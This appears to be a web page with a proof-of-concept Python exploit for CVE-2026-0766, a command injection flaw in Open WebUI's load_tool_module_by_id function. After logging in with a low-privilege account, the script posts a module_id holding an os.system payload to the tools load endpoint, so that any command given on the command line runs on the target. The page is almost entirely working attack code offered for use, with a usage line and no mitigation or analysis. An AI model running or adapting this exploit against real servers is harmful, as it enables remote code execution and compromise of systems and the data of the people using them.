Open WebUI load_tool_module_by_id命令注入远程代码执行漏洞 (CVE-2026-0766)

import requests import json # CVE-2026-0766 PoC - Open WebUI Command Injection # Target: Open WebUI with vulnerable load_tool_module_by_id function TARGET_URL = "http://target:8080" USERNAME = "attacker" PASSWORD = "password123" def exploit(target_url, username, password, command): """ Exploit CVE-2026-0766 by injecting Python code via load_tool_module_by_id Args: target_url: Base URL of vulnerable Open WebUI instance username: Valid low-privilege user account password: Password for the user account command: System command to execute on target """ session = requests.Session() # Step 1: Authenticate to obtain session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Authentication successful") # Step 2: Inject malicious Python code via load_tool_module_by_id # The vulnerability allows execution of arbitrary Python code exploit_payload = f"__import__('os').system('{command}')" exploit_url = f"{target_url}/api/v1/tools/load" exploit_data = { "module_id": exploit_payload, "action": "load_module" } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] Command executed successfully: {command}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": import sys if len(sys.argv) < 5: print("Usage: python cve_2026_0766_poc.py <target_url> <username> <password> <command>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])